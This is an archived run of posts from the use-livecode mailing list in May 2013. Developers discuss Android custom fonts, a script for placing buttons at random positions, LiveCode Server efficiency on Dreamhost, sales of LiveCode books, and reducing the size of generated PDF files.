evergreeninfo.net -----Original Message----- From: use-livecode [mailto:use-livecode-bounces at lists.runrev.com] On Behalf Of J. Landman Gay Sent: Friday, May 31, 2013 2:40 PM To: How to use LiveCode Subject: Re: Android custom fonts in web scroller native control... On 5/31/13 1:09 PM, Roger Eller wrote: > On Fri, May 31, 2013 at 12:22 PM, J. Landman Gay wrote: >> As far as I know, custom fonts are loaded with an external and those > aren't supported on Android yet. > > In the 5.5.5 Release Notes: > http://downloads.livecode.com/livecode/5_5_5/LiveCodeNotes-5_5_5-Andro > id.pdf > > "In LiveCode 5.5 the ability was introduced to allow applications to > bundle custom fonts which then become available to the app (and only > that app) while it is running. To take advantage of this feature, all > you need to do is reference the files of any fonts you wish to include > in the Copy Files pane. These files can either be a direct file > reference, or contained in one of the folder references. The > Standalone Builder will treat any files that end with the extension > ttf or ttc as font files to use in this way. Any fonts included in > this way will appear in the fontNames and can be used in the same way > as any other font on the system." Cool. Thanks Roger. It's been a while since I re-read the release notes. That being the case, the original poster may have found a bug. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From cmsheffield at icloud.com Fri May 31 14:45:59 2013 From: cmsheffield at icloud.com (Chris Sheffield) Date: Fri, 31 May 2013 12:45:59 -0600 Subject: randomly position objects on-screen In-Reply-To: References: Message-ID: Roger, Thank you. This works well. I had to tweak it a bit to use the bottom of my graphic instead of the height, and that seems to position the controls a little better within my defined area. Then I just added some intersect checking and it seems to be working quite nicely. Thanks again, Chris On May 31, 2013, at 12:06 PM, Roger Guay wrote: > Hi Chris, > > I believe this will do it for you: > > on placeBtnRandom pbtnName > put the width of btn pbtnName into bW > put the height of btn pbtnName into bH > put the width of this stack into sW > put the height of this stack into sH > put random(sW-bW) into tX > put random(sH-bH) into tY > set the loc of btn pbtnName to bW/2+ tX, bH/2 - tY > end placeBtnRandom > > Regards, > Roger > > On May 31, 2013, at 10:49 AM, Chris Sheffield wrote: > >> Okay, I figure someone out there has probably done this before, so I thought I'd ask here before I dive in to the deep end (or go off the deep end, whichever comes first). >> >> Given a rectangular area (in this case a graphic object), I need to randomly position three controls (in this case Scott's tmControl buttons (groups)), within that area. It's not a huge area to work with, but the controls are not too big. The conditions are that the controls cannot intersect (overlap) and they have to be completely visible within the given area (not partially off-screen). >> >> Any takers? >> >> Thanks, >> Chris >> >> >> -- >> Chris Sheffield >> Read Naturally, Inc. >> www.readnaturally.com >> >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From irog at mac.com Fri May 31 14:46:43 2013 From: irog at mac.com (Roger Guay) Date: Fri, 31 May 2013 11:46:43 -0700 Subject: randomly position objects on-screen In-Reply-To: <52D2E8C2-0466-4433-A6F4-CEEDB53952D4@mac.com> References: <52D2E8C2-0466-4433-A6F4-CEEDB53952D4@mac.com> Message-ID: Ooops again, I forgot to include overlap of buttons exclusion. Just do an intersect check if true then hit on placeBtnRandom command again. put the width of btn pbtnName into bW put the height of btn pbtnName into bH put the width of this stack into sW put the height of this stack into sH put random(sW-bW) into tX put random(sH-bH) into ty set the loc of btn pbtnName to bW/2+ tx, bH/2 + ty end placeBtnRandom On May 31, 2013, at 11:08 AM, Roger Guay wrote: > Ooops that should be + tY in the last line? > > > On May 31, 2013, at 11:06 AM, Roger Guay wrote: > >> Hi Chris, >> >> I believe this will do it for you: >> >> on placeBtnRandom pbtnName >> put the width of btn pbtnName into bW >> put the height of btn pbtnName into bH >> put the width of this stack into sW >> put the height of this stack into sH >> put random(sW-bW) into tX >> put random(sH-bH) into tY >> set the loc of btn pbtnName to bW/2+ tX, bH/2 - tY >> end placeBtnRandom >> >> Regards, >> Roger >> >> On May 31, 2013, at 10:49 AM, Chris Sheffield wrote: >> >>> Okay, I figure someone out there has probably done this before, so I thought I'd ask here before I dive in to the deep end (or go off the deep end, whichever comes first). >>> >>> Given a rectangular area (in this case a graphic object), I need to randomly position three controls (in this case Scott's tmControl buttons (groups)), within that area. It's not a huge area to work with, but the controls are not too big. The conditions are that the controls cannot intersect (overlap) and they have to be completely visible within the given area (not partially off-screen). >>> >>> Any takers? >>> >>> Thanks, >>> Chris >>> >>> >>> -- >>> Chris Sheffield >>> Read Naturally, Inc. >>> www.readnaturally.com >>> >>> >>> _______________________________________________ >>> use-livecode mailing list >>> use-livecode at lists.runrev.com >>> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >>> http://lists.runrev.com/mailman/listinfo/use-livecode >> >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From irog at mac.com Fri May 31 14:47:53 2013 From: irog at mac.com (Roger Guay) Date: Fri, 31 May 2013 11:47:53 -0700 Subject: randomly position objects on-screen In-Reply-To: References: Message-ID: Great, you're one step ahead of me?. On May 31, 2013, at 11:45 AM, Chris Sheffield wrote: > Roger, > > Thank you. This works well. > > I had to tweak it a bit to use the bottom of my graphic instead of the height, and that seems to position the controls a little better within my defined area. Then I just added some intersect checking and it seems to be working quite nicely. > > Thanks again, > Chris > > > On May 31, 2013, at 12:06 PM, Roger Guay wrote: > >> Hi Chris, >> >> I believe this will do it for you: >> >> on placeBtnRandom pbtnName >> put the width of btn pbtnName into bW >> put the height of btn pbtnName into bH >> put the width of this stack into sW >> put the height of this stack into sH >> put random(sW-bW) into tX >> put random(sH-bH) into tY >> set the loc of btn pbtnName to bW/2+ tX, bH/2 - tY >> end placeBtnRandom >> >> Regards, >> Roger >> >> On May 31, 2013, at 10:49 AM, Chris Sheffield wrote: >> >>> Okay, I figure someone out there has probably done this before, so I thought I'd ask here before I dive in to the deep end (or go off the deep end, whichever comes first). >>> >>> Given a rectangular area (in this case a graphic object), I need to randomly position three controls (in this case Scott's tmControl buttons (groups)), within that area. It's not a huge area to work with, but the controls are not too big. The conditions are that the controls cannot intersect (overlap) and they have to be completely visible within the given area (not partially off-screen). >>> >>> Any takers? >>> >>> Thanks, >>> Chris >>> >>> >>> -- >>> Chris Sheffield >>> Read Naturally, Inc. >>> www.readnaturally.com >>> >>> >>> _______________________________________________ >>> use-livecode mailing list >>> use-livecode at lists.runrev.com >>> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >>> http://lists.runrev.com/mailman/listinfo/use-livecode >> >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From scott at tactilemedia.com Fri May 31 14:50:00 2013 From: scott at tactilemedia.com (Scott Rossi) Date: Fri, 31 May 2013 11:50:00 -0700 Subject: randomly position objects on-screen In-Reply-To: Message-ID: Hi Chris: I believe this will do what you want. In your message box: go url "https://dl.dropboxusercontent.com/u/7192863/LCtest/randomboxes.livecode" Regards, Scott Rossi Creative Director Tactile Media, UX/UI Design On 5/31/13 10:49 AM, "Chris Sheffield" wrote: >Okay, I figure someone out there has probably done this before, so I >thought I'd ask here before I dive in to the deep end (or go off the deep >end, whichever comes first). > >Given a rectangular area (in this case a graphic object), I need to >randomly position three controls (in this case Scott's tmControl buttons >(groups)), within that area. It's not a huge area to work with, but the >controls are not too big. The conditions are that the controls cannot >intersect (overlap) and they have to be completely visible within the >given area (not partially off-screen). > >Any takers? > >Thanks, >Chris > > >-- >Chris Sheffield >Read Naturally, Inc. >www.readnaturally.com > > >_______________________________________________ >use-livecode mailing list >use-livecode at lists.runrev.com >Please visit this url to subscribe, unsubscribe and manage your >subscription preferences: >http://lists.runrev.com/mailman/listinfo/use-livecode > From richmondmathewson at gmail.com Fri May 31 14:51:05 2013 From: richmondmathewson at gmail.com (Richmond) Date: Fri, 31 May 2013 21:51:05 +0300 Subject: [OT] Linux Kernel? Message-ID: <51A8F119.2020508@gmail.com> I wonder if anybody could advise meas to the wisdom (or lack thereof) of upgrading to Kernel 3.9.5 from 3.8.0 ? Richmond From jacque at hyperactivesw.com Fri May 31 14:55:20 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Fri, 31 May 2013 13:55:20 -0500 Subject: Android custom fonts in web scroller native control... In-Reply-To: <004101ce5e2f$240982c0$6c1c8840$@net> References: <51A8CE4E.1020005@hyperactivesw.com> <51A8EE90.1070406@hyperactivesw.com> <004101ce5e2f$240982c0$6c1c8840$@net> Message-ID: <51A8F218.7090706@hyperactivesw.com> On 5/31/13 1:46 PM, Ralph DiMola wrote: > Jacque, > > I've been using custom fonts in both Android and iOS. They work exactly as > Roger documented. I even put all my custom fonts into a folder and just > included the folder in the "Copy files" Pane and like magic the builder > finds them and the apps on both platforms report them and use them as > expected. The OP was using a native web view control, I wonder if the issue is there. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From jacque at hyperactivesw.com Fri May 31 14:56:49 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Fri, 31 May 2013 13:56:49 -0500 Subject: Mail archive broken? In-Reply-To: References: Message-ID: <51A8F271.1030402@hyperactivesw.com> On 5/31/13 1:03 PM, Peter Haworth wrote: > Looks like the search function on the mail archive is broken - I get a > "Document Not Found" message no matter what I search for. There's better searching at Nabble or Gmane: -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From ambassador at fourthworld.com Fri May 31 14:58:09 2013 From: ambassador at fourthworld.com (Richard Gaskin) Date: Fri, 31 May 2013 11:58:09 -0700 Subject: Virtual Server Install In-Reply-To: References: Message-ID: <51A8F2C1.5010606@fourthworld.com> Mark Rauterkus wrote: > http://livecode.com/how-it-works/platforms-and-devices/server/ > > That info above is exciting, but there has to be more depth somewhere. > Where? The docs included in the package often describe all that one needs to know. There are a few errors and omissions, but overall they're not a bad starting point. Once we get further along with community involvement we can of course coordinate with the mother ship to enhance those docs - what would you like to see done first? stephen barncard wrote: > I've been planning to send an email the CEO of Dreamhost and suggest > they offer Livecode with their one click installs after the community > edition is released. They are a pretty hip company and may already be > planning this. If they'd be receptive to a petition, I'd sign it. It may be best to do that after the next version of LiveCode Server is released. The current version will fail with certain I/O routines on Dreamhost's current system setup, for the reasons I described here earlier with 64-bit inodes. But thankfully Mark Waddingham was able to find a way to reproduce the issue on a test machine in their office, and the fix is now evident in the v6.0.1 engine, confirmed by Mark and verified in my testing with a standalone on Dreamhost. So once the new LiveCode Server engine is released, we'll finally be able to run in confidently on all Dreamhost servers (and a growing number of others that are migrating to the XFS file system). One good selling point speaks to the same reason they're migrating to XFS: efficiency with regard to system load. With XFS they can save enough energy to pay for an admin's salary. Similarly, LiveCode is an unusually lean system for what it provides. For example, I have a custom search engine written in LiveCode that is able to do everything it needs to do in just 30% as much memory and 10% as many CPU cycles as it takes Drupal just to open a page. Even with the presumed inefficiencies of a non-threaded system, LiveCode loads so fast* and is done in just milliseconds that overall use of system resources is often lower than alternatives for equivalent tasks. Of course one would want to frame that carefully in discussion with them. For example, in all fairness to Drupal the reason it uses so much RAM is that it's a really complex, flexible system. No doubt if one wrote something that complex in LiveCode rather than PHP it would also require a lot of RAM, possibly more because it can't take advantage of any stay-resident options like mod_php offers. That said, I'm not even sure DH uses mod_php; it may be that they're running PHP in CGI mode (I'd have to check their wiki to make sure). But either way, it's so easy to write custom stuff in LC that we don't need complex frameworks as frequently, so I suspect that in the larger view the message of resource efficiency is a sound one. * Running LC as a CGI, as happens with LiveCode Server, places unusually strong emphasis on runtime efficiency, since it needs to load, initialize, run, and die in the time it takes to satisfy an HTTP request. Accordingly, I've been exploring LC's boot sequence with strace on Linux, and have found some redundant calls that can be removed, which will boot its overall efficiency just a little bit more. The biggest redundancy is unfortunately something that AFAIK only affects standalones: it makes 93 attempts to open revDatabaseLibray, looking for various permutations (no suffice, with ".rev", with ",mc", etc.) and in various locations (CGI folder, one up, root, etc.). If you're not using any database drives, all 93 of those calls are a waste of clock cycles. They don't even add up to much, but with multiple instances of the engine running as a CGI it can add up, so I was glad the team was able to confirm my report and is looking into this. It may be that this also happens with LC server, since of course it also may sometimes need the DB lib, so this benefit may extend to that build as well. But along the way I also found other redundancies, like multiple calls to getSystemTime, and others, and once those are trimmed back we may see boot times shortened by a useful percentage, perhaps 20-30%. Of course in real-time measurements those are trivial, amounting to less than a millisecond. But thinking in terms of scalability, since each call to LC Server instantiates a fresh copy, any reduction in load time will help extend the value of a system driven by LC as its audience grows, also likely to trim a bit of memory usage by having fewer calls in the queue. -- Richard Gaskin Fourth World LiveCode training and consulting: http://www.fourthworld.com Webzine for LiveCode developers: http://www.LiveCodeJournal.com Follow me on Twitter: http://twitter.com/FourthWorldSys From jacque at hyperactivesw.com Fri May 31 14:58:26 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Fri, 31 May 2013 13:58:26 -0500 Subject: Can I use LC's 'Default Patterns' on iOS? In-Reply-To: <9E4F2327-CB4F-4904-A86B-A0D5AE4EF7AB@mac.com> References: <9E4F2327-CB4F-4904-A86B-A0D5AE4EF7AB@mac.com> Message-ID: <51A8F2D2.6000602@hyperactivesw.com> On 5/31/13 12:02 PM, Graham Samuel wrote: > I created a rectangle object and filled it with one of the default > patterns in the Image Library. Looks fine on the desktop, but is > non-existent on iOS (simulation). I can't see an option to include a > specific image library in an iOS build - come to think of it, it > looks as if all inclusions of engine components for iOS apps are done > automatically without the developer being allowed to make a specific > choice. Is it possible, and if so, how's it done? You'll need to import the pattern into the stack. Open the library, select the pattern, and click the Place Image button. Then use the new image ID to fill the graphic. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From ambassador at fourthworld.com Fri May 31 15:00:21 2013 From: ambassador at fourthworld.com (Richard Gaskin) Date: Fri, 31 May 2013 12:00:21 -0700 Subject: [OT] Linux Kernel? In-Reply-To: <51A8F119.2020508@gmail.com> References: <51A8F119.2020508@gmail.com> Message-ID: <51A8F345.9050102@fourthworld.com> Richmond wrote: > I wonder if anybody could advise meas to the wisdom (or lack thereof) of > upgrading to Kernel 3.9.5 from 3.8.0 ? My needs are modest, so I'm usually happy to just let the distro provider make that decision for me when I run system updates. What do you need in 3.9.5 that isn't in 3.8.0? -- Richard Gaskin Fourth World LiveCode training and consulting: http://www.fourthworld.com Webzine for LiveCode developers: http://www.LiveCodeJournal.com Follow me on Twitter: http://twitter.com/FourthWorldSys From jacque at hyperactivesw.com Fri May 31 15:01:45 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Fri, 31 May 2013 14:01:45 -0500 Subject: LC Users - in the Bristol, Southhampton,Taunton triangle In-Reply-To: <5ED80409-C036-40B2-86B9-9D422A95B8E7@gmail.com> References: <58A2EDCD-1259-4CB5-97CD-335074AA56B8@businessplaninsight.com> <5ED80409-C036-40B2-86B9-9D422A95B8E7@gmail.com> Message-ID: <51A8F399.6080608@hyperactivesw.com> On 5/31/13 11:30 AM, Peter M. Brigham wrote: > On May 31, 2013, at 11:44 AM, Peter Haworth wrote: > >> Seems like every time there's a post like this, it doesn't turn up many >> users in a specific geographical area. So where are all the users? > > On Venus, 2+K years in the future? Yup, and they are HOT. Anyone remember where that Google map of users is that we made a long time ago? New people should add themselves to it. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From cmsheffield at icloud.com Fri May 31 15:05:31 2013 From: cmsheffield at icloud.com (Chris Sheffield) Date: Fri, 31 May 2013 13:05:31 -0600 Subject: randomly position objects on-screen In-Reply-To: References: Message-ID: <9F6E1A13-D4A7-4215-BDB3-19BADB594A57@icloud.com> Nice! Thanks. On May 31, 2013, at 12:50 PM, Scott Rossi wrote: > Hi Chris: > > I believe this will do what you want. In your message box: > go url > "https://dl.dropboxusercontent.com/u/7192863/LCtest/randomboxes.livecode" > > > Regards, > > Scott Rossi > Creative Director > Tactile Media, UX/UI Design > > > > > On 5/31/13 10:49 AM, "Chris Sheffield" wrote: > >> Okay, I figure someone out there has probably done this before, so I >> thought I'd ask here before I dive in to the deep end (or go off the deep >> end, whichever comes first). >> >> Given a rectangular area (in this case a graphic object), I need to >> randomly position three controls (in this case Scott's tmControl buttons >> (groups)), within that area. It's not a huge area to work with, but the >> controls are not too big. The conditions are that the controls cannot >> intersect (overlap) and they have to be completely visible within the >> given area (not partially off-screen). >> >> Any takers? >> >> Thanks, >> Chris >> >> >> -- >> Chris Sheffield >> Read Naturally, Inc. >> www.readnaturally.com >> >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode >> > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From rdimola at evergreeninfo.net Fri May 31 15:08:03 2013 From: rdimola at evergreeninfo.net (Ralph DiMola) Date: Fri, 31 May 2013 15:08:03 -0400 Subject: Android custom fonts in web scroller native control... In-Reply-To: <51A8F218.7090706@hyperactivesw.com> References: <51A8CE4E.1020005@hyperactivesw.com> <51A8EE90.1070406@hyperactivesw.com> <004101ce5e2f$240982c0$6c1c8840$@net> <51A8F218.7090706@hyperactivesw.com> Message-ID: <004d01ce5e32$2cf25da0$86d718e0$@net> If you mean the native browser control(both mobile platforms)... All fonts referenced in css's do work without putting them explicitly into the "copy files" pane as long as they are in the same relative path from the "http root" of the document. I just output my documents from InDesign as "web" and copied the entire http tree(fonts, css, images) in the "copy files" and the documents look perfect, fonts and all. Never checked if the builder found those fonts for other uses in the app. Something I should check........ Ralph DiMola IT Director Evergreen Information Services rdimola at evergreeninfo.net The OP was using a native web view control, I wonder if the issue is there. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From richmondmathewson at gmail.com Fri May 31 15:09:41 2013 From: richmondmathewson at gmail.com (Richmond) Date: Fri, 31 May 2013 22:09:41 +0300 Subject: [OT] Linux Kernel? In-Reply-To: <51A8F345.9050102@fourthworld.com> References: <51A8F119.2020508@gmail.com> <51A8F345.9050102@fourthworld.com> Message-ID: <51A8F575.2000203@gmail.com> On 05/31/2013 10:00 PM, Richard Gaskin wrote: > Richmond wrote: >> I wonder if anybody could advise meas to the wisdom (or lack thereof) of >> upgrading to Kernel 3.9.5 from 3.8.0 ? > > My needs are modest, so I'm usually happy to just let the distro > provider make that decision for me when I run system updates. > > What do you need in 3.9.5 that isn't in 3.8.0? Well put. Thanks! > > -- > Richard Gaskin > Fourth World > LiveCode training and consulting: http://www.fourthworld.com > Webzine for LiveCode developers: http://www.LiveCodeJournal.com > Follow me on Twitter: http://twitter.com/FourthWorldSys > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From mwieder at ahsoftware.net Fri May 31 16:15:14 2013 From: mwieder at ahsoftware.net (Mark Wieder) Date: Fri, 31 May 2013 20:15:14 +0000 (UTC) Subject: [OT] Linux Kernel? References: <51A8F119.2020508@gmail.com> Message-ID: Richmond writes: > > I wonder if anybody could advise meas to the wisdom (or lack thereof) of > upgrading > to Kernel 3.9.5 from 3.8.0 ? I'm no expert on wisdom, but I never upgrade unless I have to. YMMV. -- Mark Wieder mwieder at ahsoftware.net From ambassador at fourthworld.com Fri May 31 16:48:48 2013 From: ambassador at fourthworld.com (Richard Gaskin) Date: Fri, 31 May 2013 13:48:48 -0700 Subject: SoCal LC User Group meeting Thurs., June 6, Pasadena Message-ID: <51A90CB0.4030007@fourthworld.com> The next SoCal LiveCode User Group meeting is happening Thursday, June 6, at 7PM in Pasadena - details in the LUG section of the LiveCode forums: -- Richard Gaskin Fourth World LiveCode training and consulting: http://www.fourthworld.com Webzine for LiveCode developers: http://www.LiveCodeJournal.com Follow me on Twitter: http://twitter.com/FourthWorldSys From andrew at ctech.me Fri May 31 18:24:43 2013 From: andrew at ctech.me (Andrew Kluthe) Date: Fri, 31 May 2013 17:24:43 -0500 Subject: [ANN] Book "Programming LiveCode for the Real Beginner" sold out! In-Reply-To: <1369923976940-4665612.post@n4.nabble.com> References: <51A641A4.9070905@economy-x-talk.com> <1369923976940-4665612.post@n4.nabble.com> Message-ID: Yes. Also, an electronic format would make the book easier to keep up to date for the people that own the hard copy. On Thu, May 30, 2013 at 9:26 AM, tbodine wrote: > Congrats! And I also think an ebook version would have lots of upside for > you > and the buyer. Please consider! > -- Tom Bodine > > > > > -- > View this message in context: > http://runtime-revolution.278305.n4.nabble.com/ANN-Book-Programming-LiveCode-for-the-Real-Beginner-sold-out-tp4665594p4665612.html > Sent from the Revolution - User mailing list archive at Nabble.com. > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > -- Regards, Andrew Kluthe andrew at ctech.me From coiin at verizon.net Fri May 31 18:29:47 2013 From: coiin at verizon.net (Colin Holgate) Date: Fri, 31 May 2013 18:29:47 -0400 Subject: [ANN] Book "Programming LiveCode for the Real Beginner" sold out! In-Reply-To: References: <51A641A4.9070905@economy-x-talk.com> <1369923976940-4665612.post@n4.nabble.com> Message-ID: Are you willing to say how many books you've sold? I don't know the numbers for my book for 2013, but in the first five months during 2012 (end of July to end of December) it sold over 800, which was surprisingly high. From jhj at jhj.com Fri May 31 18:34:54 2013 From: jhj at jhj.com (Jerry Jensen) Date: Fri, 31 May 2013 15:34:54 -0700 Subject: [ANN] Book "Programming LiveCode for the Real Beginner" sold out! In-Reply-To: References: <51A641A4.9070905@economy-x-talk.com> <1369923976940-4665612.post@n4.nabble.com> Message-ID: <9111964F-D6A9-452A-87B2-9BA63B0163B5@jhj.com> I think quite a few people bought both the paper and e versions. I did. Hope that helped - publishing both ways might help Mark too! On May 31, 2013, at 3:29 PM, Colin Holgate wrote: > Are you willing to say how many books you've sold? I don't know the numbers for my book for 2013, but in the first five months during 2012 (end of July to end of December) it sold over 800, which was surprisingly high. From coiin at verizon.net Fri May 31 18:44:39 2013 From: coiin at verizon.net (Colin Holgate) Date: Fri, 31 May 2013 18:44:39 -0400 Subject: [ANN] Book "Programming LiveCode for the Real Beginner" sold out! In-Reply-To: <9111964F-D6A9-452A-87B2-9BA63B0163B5@jhj.com> References: <51A641A4.9070905@economy-x-talk.com> <1369923976940-4665612.post@n4.nabble.com> <9111964F-D6A9-452A-87B2-9BA63B0163B5@jhj.com> Message-ID: <00E3D07A-F33F-4AA6-85E3-5C8EBCBD3BB1@verizon.net> For what it's worth, my figures are that ebooks are a little over twice the sales of printed books. Mark has some valid points about DRM, but my thinking is that I didn't do the book to make any money. If a bunch of Print users buy the book, and a significant number of ebook users actually pay, that's more that's enough for me. On May 31, 2013, at 6:34 PM, Jerry Jensen wrote: > >I think quite a few people bought both the paper and e versions. I did. Hope that helped - publishing both ways might help Mark too! From pete at lcsql.com Fri May 31 18:53:00 2013 From: pete at lcsql.com (Peter Haworth) Date: Fri, 31 May 2013 15:53:00 -0700 Subject: Mail archive broken? In-Reply-To: <51A8F271.1030402@hyperactivesw.com> References: <51A8F271.1030402@hyperactivesw.com> Message-ID: Thanks Jacques, I think I'll use nabble from now on. Pete lcSQL Software On Fri, May 31, 2013 at 11:56 AM, J. Landman Gay wrote: > On 5/31/13 1:03 PM, Peter Haworth wrote: > >> Looks like the search function on the mail archive is broken - I get a >> "Document Not Found" message no matter what I search for. >> > > There's better searching at Nabble or Gmane: > > > > > > > > > -- > Jacqueline Landman Gay | jacque at hyperactivesw.com > HyperActive Software | http://www.hyperactivesw.com > > ______________________________**_________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/**mailman/listinfo/use-livecode > From alex at tweedly.net Fri May 31 18:59:57 2013 From: alex at tweedly.net (Alex Tweedly) Date: Fri, 31 May 2013 23:59:57 +0100 Subject: [ANN] Book "Programming LiveCode for the Real Beginner" sold out! In-Reply-To: <00E3D07A-F33F-4AA6-85E3-5C8EBCBD3BB1@verizon.net> References: <51A641A4.9070905@economy-x-talk.com> <1369923976940-4665612.post@n4.nabble.com> <9111964F-D6A9-452A-87B2-9BA63B0163B5@jhj.com> <00E3D07A-F33F-4AA6-85E3-5C8EBCBD3BB1@verizon.net> Message-ID: <51A92B6D.6020608@tweedly.net> So far I've got the Print, Kindle and iBooks versions. I'm trying to hold off until the next edition to get the Kobo version. Will I have the full set then ? :-) -- Alex. On 31/05/2013 23:44, Colin Holgate wrote: > For what it's worth, my figures are that ebooks are a little over twice the sales of printed books. Mark has some valid points about DRM, but my thinking is that I didn't do the book to make any money. If a bunch of Print users buy the book, and a significant number of ebook users actually pay, that's more that's enough for me. > > > On May 31, 2013, at 6:34 PM, Jerry Jensen wrote: > >>> I think quite a few people bought both the paper and e versions. I did. Hope that helped - publishing both ways might help Mark too! > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From coiin at verizon.net Fri May 31 19:06:22 2013 From: coiin at verizon.net (Colin Holgate) Date: Fri, 31 May 2013 19:06:22 -0400 Subject: [ANN] Book "Programming LiveCode for the Real Beginner" sold out! In-Reply-To: <51A92B6D.6020608@tweedly.net> References: <51A641A4.9070905@economy-x-talk.com> <1369923976940-4665612.post@n4.nabble.com> <9111964F-D6A9-452A-87B2-9BA63B0163B5@jhj.com> <00E3D07A-F33F-4AA6-85E3-5C8EBCBD3BB1@verizon.net> <51A92B6D.6020608@tweedly.net> Message-ID: <8889ABC6-2B56-4314-8B63-58F10F79EE14@verizon.net> Is Kobo any good? I'll promote it to Packt if you think it would be of interest? As for the other variations, I did buy the iBooks and Kindle ones myself too! About the next edition, I'm a bit behind, but the hope is to have it complete in July sometime, so that the September Kickstarter folk will get the new revision. If that doesn't work out, I'll send the PDF to you! On May 31, 2013, at 6:59 PM, Alex Tweedly wrote: > >So far I've got the Print, Kindle and iBooks versions. I'm trying to hold off until the next edition to get the Kobo version. > > >Will I have the full set then ? :-) From dochawk at gmail.com Fri May 31 19:33:28 2013 From: dochawk at gmail.com (Dr. Hawkins) Date: Fri, 31 May 2013 16:33:28 -0700 Subject: dealing with these *huge* pdf files generated Message-ID: I am ending up with *huge* pdf files. I'm seeing Acrobat 10 pro mac reduce files by over 90%, and preview reduce them by about 80%. These insanely large files bog up the printer, and are bigger than the court allows. Is there some sane way to produce ssmaller files from within hypercard? -- Dr. Richard E. Hawkins, Esq. (702) 508-8462 From dave at businessplaninsight.com Fri May 31 19:49:49 2013 From: dave at businessplaninsight.com (Dave Kilroy2) Date: Fri, 31 May 2013 16:49:49 -0700 (PDT) Subject: LC Users - in the Bristol, Southhampton,Taunton triangle In-Reply-To: References: <58A2EDCD-1259-4CB5-97CD-335074AA56B8@businessplaninsight.com> Message-ID: <1370044189051-4665690.post@n4.nabble.com> Dear John & Pete ... all other lurking LiveCoders in South West UK ... and others who have started up LiveCode User Groups Hmm I'm rather of the view that "if we build it they will come" - and if we would like a LiveCode meeting every couple of months (I know I would) we had better organise it ourselves. So how about it? Shall we organise something ourselves? It might not work and be a complete disaster - but it might work and be great! Who can offer advice (especially from other user groups) and who is interested in taking part in trying to get something off the ground? Kind regards Dave John Dixon wrote > Thanks for your post to the liveCode use-list? I was hoping that there > might be a fair number of LC users in the South-West area so that perhaps > we could have organised to have a meeting every couple of months, but it > seems we are very thin on the ground?:-) > > Still, with the arrival of the community edition, you never know... things > might change? -- View this message in context: http://runtime-revolution.278305.n4.nabble.com/LC-Users-in-the-Bristol-Southhampton-Taunton-triangle-tp4665554p4665690.html Sent from the Revolution - User mailing list archive at Nabble.com. From stephenREVOLUTION2 at barncard.com Fri May 31 20:24:33 2013 From: stephenREVOLUTION2 at barncard.com (stephen barncard) Date: Fri, 31 May 2013 17:24:33 -0700 Subject: dealing with these *huge* pdf files generated In-Reply-To: References: Message-ID: Hypercard? You mean livecode? On a mac, the smallest files seem to be created using the Print Dialog method. sqb On Fri, May 31, 2013 at 4:33 PM, Dr. Hawkins wrote: > I am ending up with *huge* pdf files. > > I'm seeing Acrobat 10 pro mac reduce files by over 90%, and preview > reduce them by about 80%. > > These insanely large files bog up the printer, and are bigger than the > court allows. > > Is there some sane way to produce ssmaller files from within hypercard? > > -- > Dr. Richard E. Hawkins, Esq. > (702) 508-8462 > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > -- Stephen Barncard San Francisco Ca. USA more about sqb From dochawk at gmail.com Fri May 31 22:46:20 2013 From: dochawk at gmail.com (Dr. Hawkins) Date: Fri, 31 May 2013 19:46:20 -0700 Subject: 